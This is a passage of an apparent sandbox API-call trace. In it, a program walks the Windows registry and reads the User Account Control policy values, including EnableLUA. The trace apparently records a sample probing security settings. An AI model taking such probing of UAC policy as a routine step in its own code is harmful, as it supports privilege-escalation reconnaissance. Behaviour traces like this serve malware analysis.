dwIndex=0x34, lpName=0x252b930, cchName=0x104 | out: lpName="MediaPlayer") returned 0x0 [0165.598] RegEnumKeyW (in: hKey=0x24, dwIndex=0x35, lpName=0x252b930, cchName=0x104 | out: lpName="MessengerService") returned 0x0 [0165.598] RegEnumKeyW (in: hKey=0x24, dwIndex=0x36, lpName=0x252b930, cchName=0x104 | out: lpName="Microsoft Reference") returned 0x0 [0165.598] RegEnumKeyW (in: hKey=0x24, dwIndex=0x37, lpName=0x252b930, cchName=0x104 | out: lpName="Microsoft SQL Server Compact Edition") returned 0x0 [0165.598] RegEnumKeyW (in: hKey=0x24, dwIndex=0x38, lpName=0x252b930, cchName=0x104 | out: lpName="MigWiz") returned 0x0 [0165.598] RegEnumKeyW (in: hKey=0x24, dwIndex=0x39, lpName=0x252b930, cchName=0x104 | out: lpName="MMC") returned 0x0 [0165.598] RegEnumKeyW (in: hKey=0x24, dwIndex=0x3a, lpName=0x252b930, cchName=0x104 | out: lpName="Mobile") returned 0x0 [0165.598] RegEnumKeyW (in: hKey=0x24, dwIndex=0x3b, lpName=0x252b930, cchName=0x104 | out: lpName="MSBuild") returned 0x0 [0165.598] RegEnumKeyW (in: hKey=0x24, dwIndex=0x3c, lpName=0x252b930, cchName=0x104 | out: lpName="MSDE") returned 0x0 [0165.599] RegEnumKeyW (in: hKey=0x24, dwIndex=0x3d, lpName=0x252b930, cchName=0x104 | out: lpName="MSDTC") returned 0x0 [0165.599] RegEnumKeyW (in: hKey=0x24, dwIndex=0x3e, lpName=0x252b930, cchName=0x104 | out: lpName="MSF") returned 0x0 [0165.599] RegEnumKeyW (in: hKey=0x24, dwIndex=0x3f, lpName=0x252b930, cchName=0x104 | out: lpName="MSLicensing") returned 0x0 [0165.599] RegEnumKeyW (in: hKey=0x24, dwIndex=0x40, lpName=0x252b930, cchName=0x104 | out: lpName="MSMQ") returned 0x0 [0165.599] RegEnumKeyW (in: hKey=0x24, dwIndex=0x41, lpName=0x252b930, cchName=0x104 | out: lpName="MSN Apps") returned 0x0 [0165.599] RegEnumKeyW (in: hKey=0x24, dwIndex=0x42, lpName=0x252b930, cchName=0x104 | out: lpName="MSOSOAP") returned 0x0 [0165.599] RegEnumKeyW (in: hKey=0x24, dwIndex=0x43, lpName=0x252b930, cchName=0x104 | out: lpName="MSSearch36") returned 0x0 [0165.599] RegEnumKeyW (in: hKey=0x24, dwIndex=0x44, lpName=0x252b930, cchName=0x104 | out: lpName="MSSQLServer") returned 0x0 [0165.599] RegEnumKeyW (in: hKey=0x24, dwIndex=0x45, lpName=0x252b930, cchName=0x104 | out: lpName="Multimedia") returned 0x0 [0165.599] RegEnumKeyW (in: hKey=0x24, dwIndex=0x46, lpName=0x252b930, cchName=0x104 | out: lpName="NapServer") returned 0x0 [0165.599] RegEnumKeyW (in: hKey=0x24, dwIndex=0x47, lpName=0x252b930, cchName=0x104 | out: lpName="NET Framework Setup") returned 0x0 [0165.599] RegEnumKeyW (in: hKey=0x24, dwIndex=0x48, lpName=0x252b930, cchName=0x104 | out: lpName="NetSh") returned 0x0 [0165.599] RegEnumKeyW (in: hKey=0x24, dwIndex=0x49, lpName=0x252b930, cchName=0x104 | out: lpName="Network") returned 0x0 [0165.599] RegEnumKeyW (in: hKey=0x24, dwIndex=0x4a, lpName=0x252b930, cchName=0x104 | out: lpName="NetworkAccessProtection") returned 0x0 [0165.599] RegEnumKeyW (in: hKey=0x24, dwIndex=0x4b, lpName=0x252b930, cchName=0x104 | out: lpName="Non-Driver Signing") returned 0x0 [0165.599] RegEnumKeyW (in: hKey=0x24, dwIndex=0x4c, lpName=0x252b930, cchName=0x104 | out: lpName="Notepad") returned 0x0 [0165.599] RegEnumKeyW (in: hKey=0x24, dwIndex=0x4d, lpName=0x252b930, cchName=0x104 | out: lpName="ODBC") returned 0x0 [0165.600] RegEnumKeyW (in: hKey=0x24, dwIndex=0x4e, lpName=0x252b930, cchName=0x104 | out: lpName="Office") returned 0x0 [0165.600] RegEnumKeyW (in: hKey=0x24, dwIndex=0x4f, lpName=0x252b930, cchName=0x104 | out: lpName="OfficeSoftwareProtectionPlatform") returned 0x0 [0165.600] RegEnumKeyW (in: hKey=0x24, dwIndex=0x50, lpName=0x252b930, cchName=0x104 | out: lpName="Ole") returned 0x0 [0165.600] RegEnumKeyW (in: hKey=0x24, dwIndex=0x51, lpName=0x252b930, cchName=0x104 | out: lpName="Outlook Express") returned 0x0 [0165.600] RegEnumKeyW (in: hKey=0x24, dwIndex=0x52, lpName=0x252b930, cchName=0x104 | out: lpName="PLA") returned 0x0 [0165.600] RegEnumKeyW (in: hKey=0x24, dwIndex=0x53, lpName=0x252b930, cchName=0x104 | out: lpName="PowerShell") returned 0x0 [0165.600] RegEnumKeyW (in: hKey=0x24, dwIndex=0x54, lpName=0x252b930, cchName=0x104 | out: lpName="Print") returned 0x0 [0165.600] RegEnumKeyW (in: hKey=0x24, dwIndex=0x55, lpName=0x252b930, cchName=0x104 | out: lpName="RADAR") returned 0x0 [0165.600] RegEnumKeyW (in: hKey=0x24, dwIndex=0x56, lpName=0x252b930, cchName=0x104 | out: lpName="Ras") returned 0x0 [0165.600] RegEnumKeyW (in: hKey=0x24, dwIndex=0x57, lpName=0x252b930, cchName=0x104 | out: lpName="RAS AutoDial") returned 0x0 [0165.600] RegEnumKeyW (in: hKey=0x24, dwIndex=0x58, lpName=0x252b930, cchName=0x104 | out: lpName="Reliability Analysis") returned 0x0 [0165.600] RegEnumKeyW (in: hKey=0x24, dwIndex=0x59, lpName=0x252b930, cchName=0x104 | out: lpName="RemovalTools") returned 0x0 [0165.600] RegEnumKeyW (in: hKey=0x24, dwIndex=0x5a, lpName=0x252b930, cchName=0x104 | out: lpName="RendezvousApps") returned 0x0 [0165.600] RegEnumKeyW (in: hKey=0x24, dwIndex=0x5b, lpName=0x252b930, cchName=0x104 | out: lpName="Router") returned 0x0 [0165.600] RegEnumKeyW (in: hKey=0x24, dwIndex=0x5c, lpName=0x252b930, cchName=0x104 | out: lpName="Rpc") returned 0x0 [0165.600] RegEnumKeyW (in: hKey=0x24, dwIndex=0x5d, lpName=0x252b930, cchName=0x104 | out: lpName="SchedulingAgent") returned 0x0 [0165.600] RegEnumKeyW (in: hKey=0x24, dwIndex=0x5e, lpName=0x252b930, cchName=0x104 | out: lpName="Schema Library") returned 0x0 [0165.600] RegEnumKeyW (in: hKey=0x24, dwIndex=0x5f, lpName=0x252b930, cchName=0x104 | out: lpName="Security Center") returned 0x0 [0165.601] RegEnumKeyW (in: hKey=0x24, dwIndex=0x60, lpName=0x252b930, cchName=0x104 | out: lpName="Sensors") returned 0x0 [0165.601] RegEnumKeyW (in: hKey=0x24, dwIndex=0x61, lpName=0x252b930, cchName=0x104 | out: lpName="Shared") returned 0x0 [0165.601] RegEnumKeyW (in: hKey=0x24, dwIndex=0x62, lpName=0x252b930, cchName=0x104 | out: lpName="Shared Tools") returned 0x0 [0165.601] RegEnumKeyW (in: hKey=0x24, dwIndex=0x63, lpName=0x252b930, cchName=0x104 | out: lpName="Shared Tools Location") returned 0x0 [0165.601] RegEnumKeyW (in: hKey=0x24, dwIndex=0x64, lpName=0x252b930, cchName=0x104 | out: lpName="SideShow") returned 0x0 [0165.601] RegEnumKeyW (in: hKey=0x24, dwIndex=0x65, lpName=0x252b930, cchName=0x104 | out: lpName="SnippingTool") returned 0x0 [0165.601] RegEnumKeyW (in: hKey=0x24, dwIndex=0x66, lpName=0x252b930, cchName=0x104 | out: lpName="Software") returned 0x0 [0165.601] RegEnumKeyW (in: hKey=0x24, dwIndex=0x67, lpName=0x252b930, cchName=0x104 | out: lpName="Speech") returned 0x0 [0165.601] RegEnumKeyW (in: hKey=0x24, dwIndex=0x68, lpName=0x252b930, cchName=0x104 | out: lpName="SQMClient") returned 0x0 [0165.601] RegEnumKeyW (in: hKey=0x24, dwIndex=0x69, lpName=0x252b930, cchName=0x104 | out: lpName="Sync Framework") returned 0x0 [0165.601] RegEnumKeyW (in: hKey=0x24, dwIndex=0x6a, lpName=0x252b930, cchName=0x104 | out: lpName="Sysprep") returned 0x0 [0165.601] RegEnumKeyW (in: hKey=0x24, dwIndex=0x6b, lpName=0x252b930, cchName=0x104 | out: lpName="SystemCertificates") returned 0x0 [0165.601] RegEnumKeyW (in: hKey=0x24, dwIndex=0x6c, lpName=0x252b930, cchName=0x104 | out: lpName="TableTextService") returned 0x0 [0165.601] RegEnumKeyW (in: hKey=0x24, dwIndex=0x6d, lpName=0x252b930, cchName=0x104 | out: lpName="TabletTip") returned 0x0 [0165.601] RegEnumKeyW (in: hKey=0x24, dwIndex=0x6e, lpName=0x252b930, cchName=0x104 | out: lpName="Tcpip") returned 0x0 [0165.601] RegEnumKeyW (in: hKey=0x24, dwIndex=0x6f, lpName=0x252b930, cchName=0x104 | out: lpName="Terminal Server Client") returned 0x0 [0165.601] RegEnumKeyW (in: hKey=0x24, dwIndex=0x70, lpName=0x252b930, cchName=0x104 | out: lpName="TermServLicensing") returned 0x0 [0165.602] RegEnumKeyW (in: hKey=0x24, dwIndex=0x71, lpName=0x252b930, cchName=0x104 | out: lpName="TIP Shared") returned 0x0 [0165.602] RegEnumKeyW (in: hKey=0x24, dwIndex=0x72, lpName=0x252b930, cchName=0x104 | out: lpName="TPG") returned 0x0 [0165.602] RegEnumKeyW (in: hKey=0x24, dwIndex=0x73, lpName=0x252b930, cchName=0x104 | out: lpName="Tpm") returned 0x0 [0165.602] RegEnumKeyW (in: hKey=0x24, dwIndex=0x74, lpName=0x252b930, cchName=0x104 | out: lpName="Tracing") returned 0x0 [0165.602] RegEnumKeyW (in: hKey=0x24, dwIndex=0x75, lpName=0x252b930, cchName=0x104 | out: lpName="Transaction Server") returned 0x0 [0165.602] RegEnumKeyW (in: hKey=0x24, dwIndex=0x76, lpName=0x252b930, cchName=0x104 | out: lpName="TV System Services") returned 0x0 [0165.602] RegEnumKeyW (in: hKey=0x24, dwIndex=0x77, lpName=0x252b930, cchName=0x104 | out: lpName="uDRM") returned 0x0 [0165.602] RegEnumKeyW (in: hKey=0x24, dwIndex=0x78, lpName=0x252b930, cchName=0x104 | out: lpName="Updates") returned 0x0 [0165.602] RegEnumKeyW (in: hKey=0x24, dwIndex=0x79, lpName=0x252b930, cchName=0x104 | out: lpName="UPnP Device Host") returned 0x0 [0165.602] RegEnumKeyW (in: hKey=0x24, dwIndex=0x7a, lpName=0x252b930, cchName=0x104 | out: lpName="VBA") returned 0x0 [0165.602] RegEnumKeyW (in: hKey=0x24, dwIndex=0x7b, lpName=0x252b930, cchName=0x104 | out: lpName="Virtual Machine") returned 0x0 [0165.602] RegEnumKeyW (in: hKey=0x24, dwIndex=0x7c, lpName=0x252b930, cchName=0x104 | out: lpName="VisualStudio") returned 0x0 [0165.602] RegEnumKeyW (in: hKey=0x24, dwIndex=0x7d, lpName=0x252b930, cchName=0x104 | out: lpName="WAB") returned 0x0 [0165.602] RegEnumKeyW (in: hKey=0x24, dwIndex=0x7e, lpName=0x252b930, cchName=0x104 | out: lpName="WBEM") returned 0x0 [0165.602] RegEnumKeyW (in: hKey=0x24, dwIndex=0x7f, lpName=0x252b930, cchName=0x104 | out: lpName="WIMMount") returned 0x0 [0165.602] RegEnumKeyW (in: hKey=0x24, dwIndex=0x80, lpName=0x252b930, cchName=0x104 | out: lpName="Windows") returned 0x0 [0165.602] RegOpenKeyExW (in: hKey=0x24, lpSubKey="Windows", ulOptions=0x0, samDesired=0x20109, phkResult=0x36f468 | out: phkResult=0x36f468*=0xa0) returned 0x0 [0165.602] RegCloseKey (hKey=0x24) returned 0x0 [0165.603] RegEnumKeyW (in: hKey=0xa0, dwIndex=0x0, lpName=0x252b930, cchName=0x104 | out: lpName="CurrentVersion") returned 0x0 [0165.603] RegOpenKeyExW (in: hKey=0xa0, lpSubKey="CurrentVersion", ulOptions=0x0, samDesired=0x20109, phkResult=0x36f468 | out: phkResult=0x36f468*=0x24) returned 0x0 [0165.603] RegCloseKey (hKey=0xa0) returned 0x0 [0165.603] RegEnumKeyW (in: hKey=0x24, dwIndex=0x0, lpName=0x252b930, cchName=0x104 | out: lpName="App Management") returned 0x0 [0165.603] RegEnumKeyW (in: hKey=0x24, dwIndex=0x1, lpName=0x252b930, cchName=0x104 | out: lpName="App Paths") returned 0x0 [0165.603] RegEnumKeyW (in: hKey=0x24, dwIndex=0x2, lpName=0x252b930, cchName=0x104 | out: lpName="Applets") returned 0x0 [0165.603] RegEnumKeyW (in: hKey=0x24, dwIndex=0x3, lpName=0x252b930, cchName=0x104 | out: lpName="Audio") returned 0x0 [0165.603] RegEnumKeyW (in: hKey=0x24, dwIndex=0x4, lpName=0x252b930, cchName=0x104 | out: lpName="Authentication") returned 0x0 [0165.603] RegEnumKeyW (in: hKey=0x24, dwIndex=0x5, lpName=0x252b930, cchName=0x104 | out: lpName="BitLocker") returned 0x0 [0165.603] RegEnumKeyW (in: hKey=0x24, dwIndex=0x6, lpName=0x252b930, cchName=0x104 | out: lpName="BITS") returned 0x0 [0165.603] RegEnumKeyW (in: hKey=0x24, dwIndex=0x7, lpName=0x252b930, cchName=0x104 | out: lpName="Component Based Servicing") returned 0x0 [0165.603] RegEnumKeyW (in: hKey=0x24, dwIndex=0x8, lpName=0x252b930, cchName=0x104 | out: lpName="Control Panel") returned 0x0 [0165.603] RegEnumKeyW (in: hKey=0x24, dwIndex=0x9, lpName=0x252b930, cchName=0x104 | out: lpName="Controls Folder") returned 0x0 [0165.603] RegEnumKeyW (in: hKey=0x24, dwIndex=0xa, lpName=0x252b930, cchName=0x104 | out: lpName="DateTime") returned 0x0 [0165.603] RegEnumKeyW (in: hKey=0x24, dwIndex=0xb, lpName=0x252b930, cchName=0x104 | out: lpName="Device Installer") returned 0x0 [0165.603] RegEnumKeyW (in: hKey=0x24, dwIndex=0xc, lpName=0x252b930, cchName=0x104 | out: lpName="Device Metadata") returned 0x0 [0165.603] RegEnumKeyW (in: hKey=0x24, dwIndex=0xd, lpName=0x252b930, cchName=0x104 | out: lpName="Diagnostics") returned 0x0 [0165.604] RegEnumKeyW (in: hKey=0x24, dwIndex=0xe, lpName=0x252b930, cchName=0x104 | out: lpName="DriverSearching") returned 0x0 [0165.604] RegEnumKeyW (in: hKey=0x24, dwIndex=0xf, lpName=0x252b930, cchName=0x104 | out: lpName="EventCollector") returned 0x0 [0165.604] RegEnumKeyW (in: hKey=0x24, dwIndex=0x10, lpName=0x252b930, cchName=0x104 | out: lpName="EventForwarding") returned 0x0 [0165.604] RegEnumKeyW (in: hKey=0x24, dwIndex=0x11, lpName=0x252b930, cchName=0x104 | out: lpName="Explorer") returned 0x0 [0165.604] RegEnumKeyW (in: hKey=0x24, dwIndex=0x12, lpName=0x252b930, cchName=0x104 | out: lpName="Ext") returned 0x0 [0165.604] RegEnumKeyW (in: hKey=0x24, dwIndex=0x13, lpName=0x252b930, cchName=0x104 | out: lpName="GameUX") returned 0x0 [0165.604] RegEnumKeyW (in: hKey=0x24, dwIndex=0x14, lpName=0x252b930, cchName=0x104 | out: lpName="Group Policy") returned 0x0 [0165.604] RegEnumKeyW (in: hKey=0x24, dwIndex=0x15, lpName=0x252b930, cchName=0x104 | out: lpName="Hints") returned 0x0 [0165.604] RegEnumKeyW (in: hKey=0x24, dwIndex=0x16, lpName=0x252b930, cchName=0x104 | out: lpName="HomeGroup") returned 0x0 [0165.604] RegEnumKeyW (in: hKey=0x24, dwIndex=0x17, lpName=0x252b930, cchName=0x104 | out: lpName="HotStart") returned 0x0 [0165.604] RegEnumKeyW (in: hKey=0x24, dwIndex=0x18, lpName=0x252b930, cchName=0x104 | out: lpName="IME") returned 0x0 [0165.604] RegEnumKeyW (in: hKey=0x24, dwIndex=0x19, lpName=0x252b930, cchName=0x104 | out: lpName="Installer") returned 0x0 [0165.604] RegEnumKeyW (in: hKey=0x24, dwIndex=0x1a, lpName=0x252b930, cchName=0x104 | out: lpName="Internet Settings") returned 0x0 [0165.604] RegEnumKeyW (in: hKey=0x24, dwIndex=0x1b, lpName=0x252b930, cchName=0x104 | out: lpName="MCT") returned 0x0 [0165.604] RegEnumKeyW (in: hKey=0x24, dwIndex=0x1c, lpName=0x252b930, cchName=0x104 | out: lpName="Media Center") returned 0x0 [0165.604] RegEnumKeyW (in: hKey=0x24, dwIndex=0x1d, lpName=0x252b930, cchName=0x104 | out: lpName="MMDevices") returned 0x0 [0165.604] RegEnumKeyW (in: hKey=0x24, dwIndex=0x1e, lpName=0x252b930, cchName=0x104 | out: lpName="MSSHA") returned 0x0 [0165.604] RegEnumKeyW (in: hKey=0x24, dwIndex=0x1f, lpName=0x252b930, cchName=0x104 | out: lpName="NetCache") returned 0x0 [0165.605] RegEnumKeyW (in: hKey=0x24, dwIndex=0x20, lpName=0x252b930, cchName=0x104 | out: lpName="OEMInformation") returned 0x0 [0165.605] RegEnumKeyW (in: hKey=0x24, dwIndex=0x21, lpName=0x252b930, cchName=0x104 | out: lpName="OOBE") returned 0x0 [0165.605] RegEnumKeyW (in: hKey=0x24, dwIndex=0x22, lpName=0x252b930, cchName=0x104 | out: lpName="OptimalLayout") returned 0x0 [0165.605] RegEnumKeyW (in: hKey=0x24, dwIndex=0x23, lpName=0x252b930, cchName=0x104 | out: lpName="Parental Controls") returned 0x0 [0165.605] RegEnumKeyW (in: hKey=0x24, dwIndex=0x24, lpName=0x252b930, cchName=0x104 | out: lpName="Personalization") returned 0x0 [0165.605] RegEnumKeyW (in: hKey=0x24, dwIndex=0x25, lpName=0x252b930, cchName=0x104 | out: lpName="PhotoPropertyHandler") returned 0x0 [0165.605] RegEnumKeyW (in: hKey=0x24, dwIndex=0x26, lpName=0x252b930, cchName=0x104 | out: lpName="PnPSysprep") returned 0x0 [0165.605] RegEnumKeyW (in: hKey=0x24, dwIndex=0x27, lpName=0x252b930, cchName=0x104 | out: lpName="Policies") returned 0x0 [0165.605] RegOpenKeyExW (in: hKey=0x24, lpSubKey="Policies", ulOptions=0x0, samDesired=0x20109, phkResult=0x36f468 | out: phkResult=0x36f468*=0xa0) returned 0x0 [0165.605] RegCloseKey (hKey=0x24) returned 0x0 [0165.605] RegEnumKeyW (in: hKey=0xa0, dwIndex=0x0, lpName=0x252b930, cchName=0x104 | out: lpName="ActiveDesktop") returned 0x0 [0165.605] RegEnumKeyW (in: hKey=0xa0, dwIndex=0x1, lpName=0x252b930, cchName=0x104 | out: lpName="Attachments") returned 0x0 [0165.605] RegEnumKeyW (in: hKey=0xa0, dwIndex=0x2, lpName=0x252b930, cchName=0x104 | out: lpName="Explorer") returned 0x0 [0165.605] RegEnumKeyW (in: hKey=0xa0, dwIndex=0x3, lpName=0x252b930, cchName=0x104 | out: lpName="NonEnum") returned 0x0 [0165.605] RegEnumKeyW (in: hKey=0xa0, dwIndex=0x4, lpName=0x252b930, cchName=0x104 | out: lpName="System") returned 0x0 [0165.605] RegOpenKeyExW (in: hKey=0xa0, lpSubKey="System", ulOptions=0x0, samDesired=0x20109, phkResult=0x36f468 | out: phkResult=0x36f468*=0x24) returned 0x0 [0165.605] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252b930) returned 1 [0165.605] RegCloseKey (hKey=0xa0) returned 0x0 [0165.605] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252b860) returned 1 [0165.606] RegEnumValueA (in: hKey=0x24, dwIndex=0x0, lpValueName=0x36f374, lpcchValueName=0x36f370, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ConsentPromptBehaviorAdmin", lpcchValueName=0x36f370, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0165.607] RegEnumValueA (in: hKey=0x24, dwIndex=0x1, lpValueName=0x36f374, lpcchValueName=0x36f370, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ConsentPromptBehaviorUser", lpcchValueName=0x36f370, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0165.607] RegEnumValueA (in: hKey=0x24, dwIndex=0x2, lpValueName=0x36f374, lpcchValueName=0x36f370, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="EnableInstallerDetection", lpcchValueName=0x36f370, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0165.607] RegEnumValueA (in: hKey=0x24, dwIndex=0x3, lpValueName=0x36f374, lpcchValueName=0x36f370, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="EnableLUA", lpcchValueName=0x36f370, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0165.607] RegEnumValueA (in: hKey=0x24, dwIndex=0x4, lpValueName=0x36f374, lpcchValueName=0x36f370, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="EnableSecureUIAPaths", lpcchValueName=0x36f370, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0165.608] RegEnumValueA (in: hKey=0x24, dwIndex=0x5, lpValueName=0x36f374, lpcchValueName=0x36f370, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="EnableUIADesktopToggle", lpcchValueName=0x36f370, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0165.608] RegEnumValueA (in: hKey=0x24, dwIndex=0x6, lpValueName=0x36f374, lpcchValueName=0x36f370, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="EnableVirtualization", lpcchValueName=0x36f370, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0165.608] RegEnumValueA (in: hKey=0x24, dwIndex=0x7, lpValueName=0x36f374, lpcchValueName=0x36f370, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="PromptOnSecureDesktop", lpcchValueName=0x36f370, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0165.608] RegEnumValueA (in: hKey=0x24, dwIndex=0x8, lpValueName=0x36f374, lpcchValueName=0x36f370, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ValidateAdminCodeSignatures", lpcchValueName=0x36f370, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0165.608] RegEnumValueA (in: hKey=0x24, dwIndex=0x9, lpValueName=0x36f374, lpcchValueName=0x36f370, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="dontdisplaylastusername", lpcchValueName=0x36f370, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0165.608] RegEnumValueA (in: hKey=0x24, dwIndex=0xa, lpValueName=0x36f374, lpcchValueName=0x36f370, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="legalnoticecaption", lpcchValueName=0x36f370, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0165.608] RegEnumValueA (in: hKey=0x24, dwIndex=0xb, lpValueName=0x36f374, lpcchValueName=0x36f370, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="legalnoticetext", lpcchValueName=0x36f370, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0165.608] RegEnumValueA (in: hKey=0x24, dwIndex=0xc, lpValueName=0x36f374, lpcchValueName=0x36f370, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="scforceoption", lpcchValueName=0x36f370, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0165.608] RegEnumValueA (in: hKey=0x24, dwIndex=0xd, lpValueName=0x36f374, lpcchValueName=0x36f370, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="shutdownwithoutlogon", lpcchValueName=0x36f370, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0165.608] RegEnumValueA (in: hKey=0x24, dwIndex=0xe, lpValueName=0x36f374, lpcchValueName=0x36f370, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="undockwithoutlogon", lpcchValueName=0x36f370, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0165.608] RegEnumValueA (in: hKey=0x24, dwIndex=0xf, lpValueName=0x36f374, lpcchValueName=0x36f370, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="FilterAdministratorToken", lpcchValueName=0x36f370, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0165.608] RegEnumValueA (in: hKey=0x24, dwIndex=0x10, lpValueName=0x36f374, lpcchValueName=0x36f370, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="FilterAdministratorToken", lpcchValueName=0x36f370, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x103 [0165.608] RegQueryValueExA (in: hKey=0x24, lpValueName="EnableLUA", lpReserved=0x0, lpType=0x36f480, lpData=0x0, lpcbData=0x36f488*=0x0 | out: lpType=0x36f480*=0x4, lpData=0x0, lpcbData=0x36f488*=0x4) returned 0x0 [0165.608] RegQueryValueExA (in: hKey=0x24, lpValueName="EnableLUA", lpReserved=0x0, lpType=0x36f480, lpData=0x252c438, lpcbData=0x36f488*=0x4 | out: lpType=0x36f480*=0x4, lpData=0x252c438*=0x1, lpcbData=0x36f488*=0x4) returned 0x0 [0165.609] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252c438) returned 1 [0165.609] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252c5a0) returned 1 [0165.609] RegEnumValueA (in: hKey=0x24, dwIndex=0x0, lpValueName=0x36f374, lpcchValueName=0x36f370, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ConsentPromptBehaviorAdmin", lpcchValueName=0x36f370, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0165.609] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x10) returned 0x252b860 [0165.609] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252b878 [0165.609] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x252c5a0 [0165.609] RegEnumValueA (in: hKey=0x24, dwIndex=0x1, lpValueName=0x36f374, lpcchValueName=0x36f370, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ConsentPromptBehaviorUser", lpcchValueName=0x36f370, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0165.609] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252b888 [0165.609] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x252c438 [0165.609] RegEnumValueA (in: hKey=0x24, dwIndex=0x2, lpValueName=0x36f374, lpcchValueName=0x36f370, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="EnableInstallerDetection", lpcchValueName=0x36f370, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0165.609] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252b898 [0165.609] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x252c558 [0165.609] RegEnumValueA (in: hKey=0x24, dwIndex=0x3, lpValueName=0x36f374, lpcchValueName=0x36f370, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="EnableLUA", lpcchValueName=0x36f370, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0165.609] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252b930 [0165.609] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x252c510 [0165.609] RegEnumValueA (in: hKey=0x24, dwIndex=0x4, lpValueName=0x36f374, lpcchValueName=0x36f370, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="EnableSecureUIAPaths", lpcchValueName=0x36f370, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0165.609] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x20) returned 0x252b940 [0165.609] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252b860) returned 1 [0165.609] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252b860 [0165.609] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x252c4c8 [0165.609] RegEnumValueA (in: hKey=0x24, dwIndex=0x5, lpValueName=0x36f374, lpcchValueName=0x36f370, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="EnableUIADesktopToggle", lpcchValueName=0x36f370, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0165.609] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252b968 [0165.609] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x252c480 [0165.609] RegEnumValueA (in: hKey=0x24, dwIndex=0x6, lpValueName=0x36f374, lpcchValueName=0x36f370, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="EnableVirtualization", lpcchValueName=0x36f370, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0165.609] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252b978 [0165.609] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, 